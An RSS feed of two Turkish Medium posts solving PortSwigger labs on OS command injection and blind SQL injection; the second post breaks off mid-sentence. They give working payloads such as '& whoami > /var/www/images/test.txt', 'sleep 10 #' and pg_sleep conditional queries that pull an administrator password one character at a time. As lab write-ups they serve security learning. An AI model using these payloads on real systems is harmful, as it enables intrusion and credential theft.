<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by ENES KURTULAN on Medium]]></title>
        <description><![CDATA[Stories by ENES KURTULAN on Medium]]></description>
        <link>https://medium.com/@eneskurtlan?source=rss-4ed662def310------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*Ba1k-nEqt4Ilr91s4JrFBg.jpeg</url>
            <title>Stories by ENES KURTULAN on Medium</title>
            <link>https://medium.com/@eneskurtlan?source=rss-4ed662def310------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 19 Nov 2026 23:03:53 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@eneskurtlan/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[PortSwigger OS Command Injection Lab Çözümleri]]></title>
            <link>https://medium.com/@eneskurtlan/portswigger-os-command-injection-lab-%C3%A7%C3%B6z%C3%BCmleri-b2dd43e57982?source=rss-4ed662def310------2</link>
            <guid isPermaLink="false">https://medium.com/p/b2dd43e57982</guid>
            <category><![CDATA[hacker]]></category>
            <category><![CDATA[portswigger-lab]]></category>
            <dc:creator><![CDATA[ENES KURTULAN]]></dc:creator>
            <pubDate>Mon, 22 Dec 2025 11:46:48 GMT</pubDate>
            <atom:updated>2025-12-22T11:46:48.530Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Lab: OS command injection, simple case</strong></p><p>Bu laboratuvar çalışması, ürün stok kontrol uygulamasında bir işletim sistemi komut enjeksiyonu güvenlik açığı içermektedir.</p><p>Uygulama, kullanıcı tarafından sağlanan ürün ve mağaza kimliklerini içeren bir kabuk komutu yürütür ve yanıtında komutun ham çıktısını döndürür.</p><p>Laboratuvar çalışmasını çözmek için, mevcut kullanıcının adını belirlemek üzere `whoami` komutunu çalıştırın.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/749/1*7IFLcosKmbmhSYP26L728g.jpeg" /></figure><p>Burp Suite’i etkinleştirerek laboratuvarı başlattım. Laboratuvar, zafiyetin ürünlerin stok kontrol özelliğinde bulunduğunu belirttiği için herhangi bir ürüne girip <strong>“Check stock”</strong> işlemini gerçekleştirdim ve oluşan isteği yakalayarak ayrıntılı inceleme için <strong>Repeater</strong> sekmesine gönderdim.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/1*jU2EFOyI49DuuGfwQKAiaA.jpeg" /></figure><p>Laboratuvar benden whoami çıktısını elde etmemi istediği için parametreyi &amp; işareti ile devam ettirdim ve isteği productId=1 &amp; whoami &amp;storeId=1 şeklinde düzenledim. İsteği gönderdiğimde sunucudan <strong>200 OK</strong> yanıtı aldım; ancak yanıtta whoami komutuna ait herhangi bir çıktı görüntülenmedi.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/959/1*srVfjRegINuXjZ121g9_ag.jpeg" /></figure><p>Arka taraftaki filtreleri bypass edebilmek için sorguyu URL encode ettim. Bu işlem Burp Suite üzerinde <strong>CTRL+U</strong> kısayolu ile gerçekleştirilebilir. <strong>Encode</strong> edilmiş isteği gönderdiğimde, uygulamanın komutu başarıyla çalıştırdığı ve home dizini altında peter kullanıcısının bulunduğu sonucunu elde ettim.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*6dgahQw2k-gcVgnaxlfw2g.jpeg" /></figure><p>Bu aşamada whoami komutunun çıktısı doğrudan görüntülenmedi; yalnızca çalışılan dizin bilgisi döndü. Bunun üzerine, komutun geri kalanını etkisiz hâle getirmek için sorgunun sonuna yorum satırı oluşturmak amacıyla <strong>#</strong> operatörünü ekledim. Bu karakteri önce normal şekilde gönderdim; herhangi bir hata alınması durumunda encode ederek tekrar denemeyi planladım. İsteği gönderdiğimde peter kullanıcısının çıktısını başarıyla elde ettim ve komutun doğru şekilde çalıştığını doğruladım.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/1*Xjz933OfS6Tx6bTxkz3umA.jpeg" /></figure><p>Böylece laboratuvarı başarılı bir şekilde tamamlamış oldum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/890/1*APFJJqYEjDrwCy0KcxsWXA.jpeg" /></figure><p><strong>Lab: Blind OS command injection with time delays</strong></p><p>Bu laboratuvar çalışması, geri bildirim fonksiyonunda kör işletim sistemi komut enjeksiyonu güvenlik açığı içermektedir.</p><p>Uygulama, kullanıcı tarafından sağlanan ayrıntıları içeren bir kabuk komutu yürütür. Komutun çıktısı yanıtta döndürülmez.</p><p>Laboratuvar çalışmasını çözmek için, kör işletim sistemi komut enjeksiyonu güvenlik açığından yararlanarak 10 saniyelik bir gecikmeye neden olun.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/768/1*FJV2yt685MBUFmMRC3iHcA.jpeg" /></figure><p>Burp Suite’i etkinleştirerek laboratuvarı başlattım. Laboratuvarı incelediğimde kullanıcıdan veri girişi alınan bir alan aradım ve bu noktada <strong>“Submit feedback”</strong> sayfası dikkatimi çekti. Geri bildirim formunda birden fazla parametre istendiğini gördüğüm için burada bir <strong>OS Command Injection</strong> zafiyeti olabileceğini değerlendirdim. Bu nedenle, isteği yakalayabilmek amacıyla form alanlarını rastgele verilerle doldurdum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/731/1*rHt2nGCS2gAZyDG84AAqxw.jpeg" /></figure><p>Daha sonra Burp Suite aracılığıyla bu isteği yakalayarak ayrıntılı analiz yapmak üzere <strong>Repeater</strong> sekmesine gönderdim.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/917/1*vb6CFIgTzec7oTW0uQ3dfw.jpeg" /></figure><p>Zafiyetin hangi parametrede bulunduğunu bilmediğim için parametreleri tek tek test etmeye karar verdim. Bu amaçla name parametresinden sonra &amp; (AND) operatörünü kullanarak sleep 10 # komutunu ekledim. Bu komutla sunucunun yanıt süresini 10 saniye geciktirmeyi, <strong>#</strong> karakteri ile de kalan komutları yorum satırı hâline getirmeyi hedefledim. Ancak isteği gönderdiğimde beklenen 10 saniyelik gecikme yerine yalnızca yaklaşık <strong>2 saniyelik</strong> bir gecikme gözledim.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*BBemPSXazUdORlexhIC2rA.jpeg" /></figure><p>Oluşturduğum isteği, uygulama tarafından özel karakterlerin (&amp;, #, boşluk vb.) filtrelenmesi veya değiştirilmesi ihtimaline karşı <strong>URL encode</strong> ederek tekrar gönderdim. Bu işlemle, enjeksiyon ifadesinin sunucuya bozulmadan iletilmesini ve olası güvenlik kontrollerinin bypass edilmesini amaçladım. Ancak encode edilmiş isteği göndermeme rağmen yanıt süresinde yalnızca yaklaşık <strong>1,5 saniyelik</strong> bir gecikme gözlemlendi; bu da komutun beklenen şekilde (sleep 10) tam olarak çalışmadığını göstermektedir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*NkLrGm_-EvbpbWo71csuKA.jpeg" /></figure><p>Name parametresi üzerinden yapılan denemelerden sonuç alamadığım için aynı komutu bu kez email parametresinden sonra ekleyerek gönderdim. İsteği ilettiğimde sunucunun yanıtının yaklaşık <strong>10 saniye geciktiğini</strong> gözlemledim ve ardından response döndü. Bu gecikme, enjekte edilen komutun arka planda başarıyla çalıştırıldığını ve OS Command Injection<strong> zafiyetinin email parametresinde bulunduğunu</strong> doğrulamaktadır.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/961/1*5LD2a0MIDUrcwoF_wcEqbw.jpeg" /></figure><p>Laboratuvar durumunu kontrol ettiğimde görevin başarılı bir şekilde tamamlandığını gördüm.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/899/1*CFewXlkq_zCPfcG246qRZA.jpeg" /></figure><p><strong>Lab: Blind OS command injection with output redirection</strong></p><p>Bu laboratuvar, geri bildirim fonksiyonunda kör bir işletim sistemi komut enjeksiyonu güvenlik açığı içermektedir.</p><p>Uygulama, kullanıcı tarafından sağlanan ayrıntıları içeren bir kabuk komutu yürütür. Komutun çıktısı yanıtta döndürülmez. Ancak, komutun çıktısını yakalamak için çıktı yönlendirmesini kullanabilirsiniz. Şu konumda yazılabilir bir klasör bulunmaktadır:</p><p>/var/www/images/</p><p>Uygulama, ürün kataloğu için resimleri bu konumdan sunar. Enjekte edilen komutun çıktısını bu klasördeki bir dosyaya yönlendirebilir ve ardından dosyanın içeriğini almak için resim yükleme URL’sini kullanabilirsiniz.</p><p>Laboratuvarı çözmek için, whoami komutunu çalıştırın ve çıktıyı alın.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/757/1*zreGpjySzHfEzuRLy-kE_g.jpeg" /></figure><p>Burp Suite’i etkinleştirerek laboratuvarı başlattım. Kullanıcıdan veri girişi alınan alanları incelediğimde <strong>“Submit feedback”</strong> sayfasını tespit ettim. Bu sayfada birden fazla parametre talep edildiği için form alanlarını doldurarak isteği gönderdim. Oluşan isteği Burp Suite üzerinden yakalayarak ayrıntılı analiz yapmak amacıyla <strong>Repeater</strong> sekmesine ilettim.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*gzNGmWlank0uaFzeV9uDTA.jpeg" /></figure><p>Bir önceki laboratuvarda zafiyeti email parametresinde tespit ettiğim için bu laboratuvarda da ilk olarak aynı parametreyi test ettim. Zafiyetin mevcut olup olmadığını doğrulamak amacıyla yanıt süresini geciktiren sleep 10 # komutunu ekleyerek isteği gönderdim. Sunucunun yanıtının yaklaşık <strong>10 saniye gecikmeli</strong> olarak dönmesi, enjekte edilen komutun başarıyla çalıştırıldığını ve zafiyetin yine email parametresinde bulunduğunu göstermektedir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/959/1*kWaHwYg-rdLfpZ9isexwLA.jpeg" /></figure><p>Burp Suite’in <strong>Proxy</strong> bölümünde yer alan <strong>HTTP history</strong> sekmesine giderek tüm gelen istekleri görüntüledim. Daha net bir analiz yapabilmek için filtreleme ayarlarında <strong>Images</strong> seçeneğini işaretleyip <strong>Apply</strong> butonuna bastım ve bu sayede ilgili tüm HTTP paketlerini listeledim.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/930/1*WqeRspZxFzUuLpbe46XP0w.jpeg" /></figure><p>HTTP paketlerini incelediğimde, ana sayfa yüklenirken kullanılan tüm görsellerin <strong>/image</strong> dizini altından çağrıldığını gözlemledim. Bu nedenle, fark etmeksizin <strong>.jpg</strong> uzantılı bir görsel isteğini seçerek ayrıntılı analiz yapmak amacıyla <strong>Repeater</strong> sekmesine gönderdim.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/963/1*3um_N3m-MCAXNqh7dRbslw.jpeg" /></figure><p>Buradaki temel amaç, tespit edilen OS Command Injection zafiyetini kullanarak uygulamanın erişebildiği farklı bir dizine komut çıktısı yazdırmaktır. Bu doğrultuda email parametresindeki zafiyetten faydalanarak <strong>&amp; whoami &gt; /var/www/images/test.txt </strong>ifadesini kullandım.<br>Bu komutta whoami çalıştırılan işlemin hangi kullanıcı yetkisiyle yürütüldüğünü göstermekte, &gt; yönlendirme operatörü ise bu komutun çıktısını <strong>/var/www/images/</strong> dizini altındaki <strong>test.txt</strong> dosyasına yazmaktadır. Böylece doğrudan response içinde görünmeyen komut çıktısının, web sunucusu tarafından erişilebilir bir dizine kaydedilmesi hedeflenmiştir. İsteği URL encode ederek göndererek olası filtrelemeleri bypass ettim.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/1*livw5LnLXV7_xEs8AjIkPg.jpeg" /></figure><p>Repeater’a gönderdiğim image isteğini incelediğimde,<strong> .jpg</strong> uzantılı dosyaların <strong>/var/www/images/</strong> dizini altından servis edildiğini tespit ettim. Bir önceki adımda OS Command Injection zafiyetinden faydalanarak whoami komutunun çıktısını bu dizin altına <strong>test.txt</strong> dosyası olarak enjekte etmiştim.<br>GET /image?filename=31.jpg endpoint’i üzerinden çağırdığını gözlemlediğim için, filename parametresindeki değeri 31.jpg yerine <strong>test.txt</strong> olacak şekilde düzenledim. Bu isteği gönderdiğimde, daha önce çalıştırılan whoami komutunun çıktısı bu dosya üzerinden okunabildi ve böylece enjeksiyonun başarılı olduğu doğrulanmış oldu.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/925/1*-NvhKJ8ewSfKDg606b6mjQ.jpeg" /></figure><p>Bu adımlar sonucunda laboratuvarın benden istediği görevi yerine getirerek laboratuvarı başarılı bir şekilde tamamladım.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/888/1*-N8gPpH_KIhCZi2-usclVQ.jpeg" /></figure><p><strong>Lab: Blind OS command injection with out-of-band interaction</strong></p><p>Bu laboratuvar, geri bildirim fonksiyonunda kör işletim sistemi komut enjeksiyonu güvenlik açığı içermektedir.</p><p>Uygulama, kullanıcı tarafından sağlanan ayrıntıları içeren bir kabuk komutu yürütür. Komut eşzamansız olarak yürütülür ve uygulamanın yanıtı üzerinde hiçbir etkisi yoktur. Çıktıyı erişebileceğiniz bir konuma yönlendirmek mümkün değildir. Ancak, harici bir alan adıyla bant dışı etkileşimleri tetikleyebilirsiniz.</p><p>Laboratuvarı çözmek için, kör işletim sistemi komut enjeksiyonu güvenlik açığından yararlanarak Burp Collaborator’a bir DNS sorgusu gönderin.</p><p><strong>Not:</strong> Akademi platformunun üçüncü taraflara saldırmak için kullanılmasını önlemek amacıyla, güvenlik duvarımız laboratuvarlar ile rastgele harici sistemler arasındaki etkileşimleri engeller. Laboratuvarı çözmek için Burp Collaborator’ın varsayılan genel sunucusunu kullanmalısınız.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/743/1*MrUEauW2Q5TWwXZrwOHLYg.jpeg" /></figure><p><strong>NOT:</strong> Bu labı çözmek için Burpsuite profesyoneli kullanmamız gerekmektedir.</p><p>Burp Suite’i etkinleştirerek laboratuvarı başlattım. Laboratuvar açıldığında <strong>feedback</strong> bölümüne yöneldim. Önceki laboratuvarlardan edindiğim tecrübeye dayanarak enjeksiyon zafiyetinin <strong>email</strong> parametresinde bulunduğunu bildiğim için bu isteği yakalayarak analiz etmek amacıyla <strong>Repeater</strong> sekmesine gönderdim.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*r6lTm_dq-7xKU5n0W7o1HA.jpeg" /></figure><p>Bu laboratuvarda <strong>Burp Collaborator</strong> kullanmamın nedeni, zafiyetin <strong>kör OS Command Injection</strong> olmasıdır. Bu tür zafiyetlerde çalıştırılan komutun çıktısı uygulama yanıtında görülmez ve dosyaya yönlendirme de mümkün değildir. Bu nedenle komutun çalışıp çalışmadığını doğrulamak için <strong>bant dışı (out-of-band)</strong> bir yöntem kullanmak gerekir.</p><p>Burp Collaborator, enjekte edilen komut aracılığıyla hedef sistemin <strong>DNS isteği</strong> göndermesini sağlar. Eğer bu istek Burp Collaborator üzerinde görülürse, komutun arka planda başarıyla çalıştığı anlaşılır. Bu amaçla Burp Collaborator’dan oluşturulan alan adını alıp <strong>Copy to clipboard</strong> ile kopyaladım.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*cdvly2WjQhRpx4oqwBfsBg.jpeg" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b2dd43e57982" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PortSwigger SQL Injection Lab Çözümleri-3]]></title>
            <link>https://medium.com/@eneskurtlan/portswigger-sql-injection-lab-%C3%A7%C3%B6z%C3%BCmleri-3-7cda9a677328?source=rss-4ed662def310------2</link>
            <guid isPermaLink="false">https://medium.com/p/7cda9a677328</guid>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[portswigger]]></category>
            <dc:creator><![CDATA[ENES KURTULAN]]></dc:creator>
            <pubDate>Mon, 15 Dec 2025 11:34:29 GMT</pubDate>
            <atom:updated>2025-12-15T11:34:29.764Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Lab: Blind SQL injection with time delays</strong></p><p>Bu laboratuvar, kör bir SQL enjeksiyonu güvenlik açığı içermektedir. Uygulama, analiz için bir izleme çerezi kullanır ve gönderilen çerezin değerini içeren bir SQL sorgusu gerçekleştirir.</p><p>SQL sorgusunun sonuçları döndürülmez ve uygulama, sorgunun herhangi bir satır döndürüp döndürmemesine veya bir hataya neden olup olmamasına bağlı olarak farklı bir yanıt vermez. Ancak, sorgu eş zamanlı olarak yürütüldüğünden, bilgi çıkarmak için koşullu zaman gecikmeleri tetiklenebilir.</p><p>Laboratuvarı çözmek için, SQL enjeksiyonu güvenlik açığından yararlanarak 10 saniyelik bir gecikmeye neden olun.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/773/1*wUVV4wbZnJy7La_uUghyeQ.png" /></figure><p>BurpSuite’i etkinleştirip labı başlattıktan sonra, zafiyetin TrackingId parametresinden kaynaklandığını gördüğüm için kök dizine (/ ) gönderilen isteği Repeater’a aktarıp test etmeye başladım.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*BnwQcVG_Tm4JgBB_PPCZbg.png" /></figure><p>Lab benden 10 saniyelik bir gecikme (sleep) oluşturmamı istediği için cheat-sheet’e göz atıyor ve zaman gecikmesine neden olabilecek SQL ipuçlarını inceliyorum. Cheat-sheet’te farklı veri tabanlarına ait örnek sorgular yer alıyor</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/728/1*0kK5rLyfVmU1mxfdrtGPOw.png" /></figure><p>Arka planda SQL sorgusunun şu şekilde çalıştığını düşünüyorum:<br> SELECT trackingid FROM tracking WHERE trackingid = ‘OVmpehhTPt2iCL19’</p><p>Bu noktada tek tırnak (‘) ile kendi sorgumu başlatıyorum. Ardından mevcut sorguyla birleşim yapabilmek için || (concatenation) operatörünü kullanıyorum. Sorgunun geri kalan kısmını etkisiz hâle getirmek için ise- -yorum operatöründen yararlanıyorum. Son olarak, MySQL’e özgü olan SELECT SLEEP(10) komutunu denediğimde sunucu 200 yanıt kodu döndürse de yaklaşık <strong>2 ms</strong> gibi çok kısa bir gecikme alıyorum.<br> Bu da sistemin MySQL üzerinde çalışmadığını gösteriyor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*oKE9ScSAe7pAPrfYnlyjRg.png" /></figure><p>Bir sonraki denemem PostgreSQL’e özgü zaman geciktirme fonksiyonu olan pg_sleep(10) komutunu test etmek oldu.<br> Bu amaçla payload’ımı şu şekilde düzenledim: ‘ || (SELECT pg_sleep(10))- -</p><p>Bu payload, TrackingId değerinin sonuna PostgreSQL’in pg_sleep(10) fonksiyonunu ekleyerek arka plandaki sorguya zaman geciktirme enjekte eder. || operatörü string birleştirme işlevi görürken,- -ifadesi sorgunun geri kalanını yorum satırı hâline getirir.</p><p>Bu isteği gönderdiğimde sunucu yanıt vermeden önce tam<strong> 10 saniye </strong>bekledi, yani uygulama gerçekten PostgreSQL’in pg_sleep fonksiyonunu çalıştırdı.</p><p><strong>Bu gecikme</strong>, kullanılan veritabanının PostgreSQL olduğunu doğrulamış oldu.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*mF6J3aSA3XRwy3JDLUsLrg.png" /></figure><p>Böylece labı başarılı bir şekilde tamamlamış oldum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/884/1*iVU5DZYtU6wVzI9Wv7raDQ.png" /></figure><p><strong>Lab: Blind SQL injection with time delays and information retrieval</strong></p><p>Bu laboratuvar, kör SQL enjeksiyonu güvenlik açığı içermektedir. Uygulama, analiz için bir izleme çerezi kullanır ve gönderilen çerezin değerini içeren bir SQL sorgusu gerçekleştirir.</p><p>SQL sorgusunun sonuçları döndürülmez ve uygulama, sorgunun herhangi bir satır döndürüp döndürmemesine veya bir hataya neden olup olmamasına bağlı olarak farklı bir yanıt vermez. Ancak, sorgu eş zamanlı olarak yürütüldüğünden, bilgi çıkarmak için koşullu zaman gecikmeleri tetiklenebilir.</p><p>Veritabanında, kullanıcı adı (username) ve parola (password) sütunları olan kullanıcılar (users )adlı farklı bir tablo bulunmaktadır. Yönetici (administrator) kullanıcının parolasını bulmak için kör SQL enjeksiyonu güvenlik açığından yararlanmanız gerekir.</p><p>Laboratuvarı çözmek için yönetici (administrator) kullanıcısı olarak oturum açın.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/764/1*12rMV9_VNHKCl5pIqUd7sw.png" /></figure><p>Burp Suite’i aktif hale getirip labı başlattıktan sonra, uygulamanın <strong>tracking cookie zafiyetini</strong> işaret ettiğini görüyorum. Bu nedenle, kök dizini test etmek için isteği Repeater’a gönderiyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/959/1*K7GRLozTWW3od3scsJhc4g.png" /></figure><p>Blind (kör) SQL açığını tespit etmek için öncelikle tek tırnak (‘) ile teste başlıyorum. Ardından, || operatörünü kullanarak cheat-sheet’te yer alan farklı veritabanlarına ait zaman geciktirme sorgularını deniyorum:</p><ul><li><strong>Oracle:</strong> dbms_pipe.receive_message((‘a’),10)</li><li><strong>Microsoft SQL:</strong> WAITFOR DELAY ‘0:0:10’</li><li><strong>PostgreSQL:</strong> SELECT pg_sleep(10)</li><li><strong>MySQL:</strong> SELECT SLEEP(10)</li></ul><p>Bu sorguları teker teker denedikten sonra, PostgreSQL’e ait sorgunun başarılı şekilde çalıştığını görüyorum. Gönderdiğim payload:</p><p>‘ || (SELECT pg_sleep(10))- -</p><p>Uygulamanın yanıtı 10 saniye geciktirdiğini gözlemleyerek blind SQL injection açığını doğrulamış oluyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/963/1*P1sQxpTlcgdZfBVBW0sdRg.png" /></figure><p>Blind SQL injection açığını doğrulamak için koşullu bir zaman geciktirme sorgusu kullandım. Bunun için “ ‘ || (SELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(0) END)- -“ şeklindeki payload’ı gönderdim. Buradaki amaç, sunucunun koşula bağlı olarak farklı tepki vermesini sağlamaktır. 1=1 her zaman doğru olduğu için pg_sleep(10) çalışır ve sunucu yanıtı 10 saniye gecikir. Böylece, sorgunun gerçekten arka planda çalıştığını ve uygulamanın enjekte edilen SQL’i işlediğini doğrularım.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/959/1*2D4MmOxsPkPzh5dBwNPKOw.png" /></figure><p>Sorgunun doğru çalıştığını teyit etmek için bu kez 1=1 yerine 1=0 yazarak aynı payload’ı gönderdim. Koşul yanlış olduğundan pg_sleep(10) tetiklenmedi ve yanıt süresi yaklaşık 2 saniye olarak geldi. Bekleme süresinin normal düzeyde olması, koşula bağlı gecikmenin doğru şekilde çalıştığını ve gönderdiğim sorgunun uygulama tarafından işlendiğini göstermektedir. Böylece blind SQL injection mekanizmasının başarılı bir şekilde doğrulandığı anlaşılmış oldu.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/959/1*TJCbdZiZ8unGVuWPpsv_iA.png" /></figure><p>Lab, “users” tablosu içinde bir username kolonu bulunduğunu belirtmişti. Bu bilginin doğru olup olmadığını test etmek için şu sorguyu gönderdim:</p><p>‘ || (SELECT case when (username=’administrator’) then pg_sleep(10) else pg_sleep(-1) end from users )- -</p><p>Koşul doğru olduğunda sunucu 10 saniye gecikiyor, yanlış olduğunda ise gecikme olmuyor. Yanıtta 10 saniyelik bekleme oluştuğunda, “administrator” kullanıcısının gerçekten tabloda bulunduğunu doğrulamış oluyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*sH7QAeQ_bre09KI88_Gxkg.png" /></figure><p>Administrator parolasının uzunluğunu belirlemek için sorguya bu kez LENGTH(password) &gt; 1 koşulunu ekledim. Böylece, hem doğru kullanıcıyı hedef alıyor hem de parolanın karakter sayısının birden büyük olup olmadığını test etmiş oluyorum. Kullandığım sorgu:</p><p>‘ || (SELECT case when (username=’administrator’ and LENGTH(password)&gt;1 ) then pg_sleep(10) else pg_sleep(-1) end from users )- -</p><p>Sunucunun yanıtının 10 saniye gecikmesi, “administrator” kullanıcısının parolasının gerçekten bir karakterden uzun olduğunu doğrulamaktadır.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*FyQ-LE-t9brec-bDJHi5Ww.png" /></figure><p>Parolanın uzunluğunu tespit etmek için isteği Intruder’a gönderiyorum. Burada uzunluk parametresini payload olarak belirleyip maksimum değeri 25 olacak şekilde ayarlıyor ve her denemede bu değeri 1’er 1’er artırarak test ediyorum. Bu sayede hangi uzunlukta gecikme oluştuğunu gözlemleyerek parolanın gerçek karakter sayısını belirtecektir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*kxMe4WYiHgXw1rlxQP7eyw.png" /></figure><p>Zaman tabanlı blind testlerde sağlıklı gecikme ölçümü yapabilmek için Resource Pool’da yeni bir havuz oluşturarak <em>Current Request</em> değerini 1’e düşürdüm. Böylece aynı anda sadece tek isteğin gönderilmesini sağladım. Bu ayar, eşzamanlı isteklerin oluşturabileceği gecikme çakışmalarını engelleyerek her payload’ın gerçek response süresini doğru şekilde ölçmeme olanak tanıyacaktır.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*pJyYffY_mjx45mN9eKKD0Q.png" /></figure><p>Filtreden <strong>Response Received</strong> veya <strong>Response Completed</strong> seçeneklerini aktif ederek her isteğin dönüş süresini kontrol ediyorum. Sleep süresini 10’dan 5 saniyeye düşürdüğüm için, doğru koşul sağlandığında yanıt süresinin yaklaşık 5 saniye geciktiğini gözlemliyorum. Intruder’da uzunluk değerini artırarak yaptığım testlerde, 19’a kadar 5 saniye dönerken, 20. denemede daha kısa bir sürede dönüş oldu. Bu gecikme, sorgunun koşulu sağladığını ve sleep fonksiyonunun tetiklendiğini gösteriyor. Dolayısıyla, <strong>administrator parolasının </strong>toplam uzunluğunun<strong> 20 karakter </strong>olduğunu bu şekilde doğrulamış oldum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/903/1*MS66wCWzbuWpUKCSJmE4Ng.png" /></figure><p>Parolayı karakter karakter çıkarmak için önceki lablarda da kullandığım yöntem olan substr() fonksiyonundan yararlanıyorum. İlk karakteri test etmek için şu sorguyu gönderiyorum:</p><p>‘ || (SELECT case when (username=’administrator’ and substr(password,1,1)=’a’) then pg_sleep(10) else pg_sleep(-1) end from users )- -</p><p>Bu sorguda substr(password,1,1) parolanın ilk karakterini kontrol eder. Eğer test ettiğim harf doğruysa sunucu 10 saniye gecikme yaratır; yanlışsa yanıt normal sürede döner. Böylece her karakteri sırayla deneyerek parolayı zaman tabanlı (blind) SQL injection ile çıkarabiliyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*A2kH4DN1Zv3AOwb4lX8Nmw.png" /></figure><p>Bunu test etmek için sorguyu Intruder’a gönderiyorum. Ardından değişken kısmına brute‑force yapılacak karakter listesini ekleyip saldırı türü olarak <em>Sniper</em> ve <strong>brute‑force</strong> seçeneklerini kullanıyorum. Resource Pool bölümünde ise biraz önce oluşturduğum ve <em>Current Request</em> değeri 1 olan havuzu seçiyorum. Son olarak <strong>Start Attack</strong> diyerek saldırıyı başlatıyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*6mYGNCuenDOXR2MHP5SUIA.png" /></figure><p>Atak sonuçlarını incelediğimde, test ettiğim karakterlerden yalnızca <strong>“o” </strong>harfinin 10 saniyelik gecikmeye neden olduğunu görüyorum. Bu gecikme, sorgudaki koşulun doğru çalıştığını ve parolanın ilk karakterinin <strong>“o”</strong> olduğunu doğrulamaktadır.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/944/1*95X6-doxsfZa1WsF_MeIcQ.png" /></figure><p>Parolayı her seferinde manuel olarak denemek zahmetli olacağı için, substr(password,1,1)=’a’ yapısındaki ikinci <strong>1</strong> değerini değişken hale getiriyorum. Bu değer, parolanın kaçıncı karakterinin kontrol edileceğini belirlediği için index görevindedir. Parolanın <strong>20 karakter</strong> olduğunu zaten tespit ettiğimden, Intruder’da <strong>Payload type: Numbers</strong> seçeneğini kullanarak bu index değerini 1’den 20’ye kadar 1’er 1’er arttıracak şekilde ayarlıyorum. Böylece her saldırı döngüsünde parolanın ilgili karakteri test edilir ve doğru karakter gecikme süresinden anlaşılır. Bu yöntemle parola tüm karakterleriyle sistematik şekilde çıkarılmış olur.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*92nlHFuSuGjxPyQld5IoBQ.png" /></figure><p>Parola kısmını brute‑force yöntemiyle test ediyorum. Bu aşamada Intruder’ın ikinci payload alanına karakter listesini ekleyerek her index için tüm olası harf ve rakamları otomatik olarak denemesini sağlıyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*5M8ALwVf11NPXcqjEfYXiQ.png" /></figure><p>Son olarak Resource Pool ayarlarında <em>Current Request</em> değerini tekrar <strong>1</strong> olarak seçiyorum ve atağı başlatıyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/959/1*nCke-KZyFYcy_F9HEwL0HQ.png" /></figure><p>Atak tamamlandıktan sonra <strong>Response Received</strong> veya <strong>Response Completed</strong> sürelerini inceleyerek hangi isteklerde 10 saniyelik gecikme olduğunu kontrol ediyorum. Her karakter pozisyonu için doğru 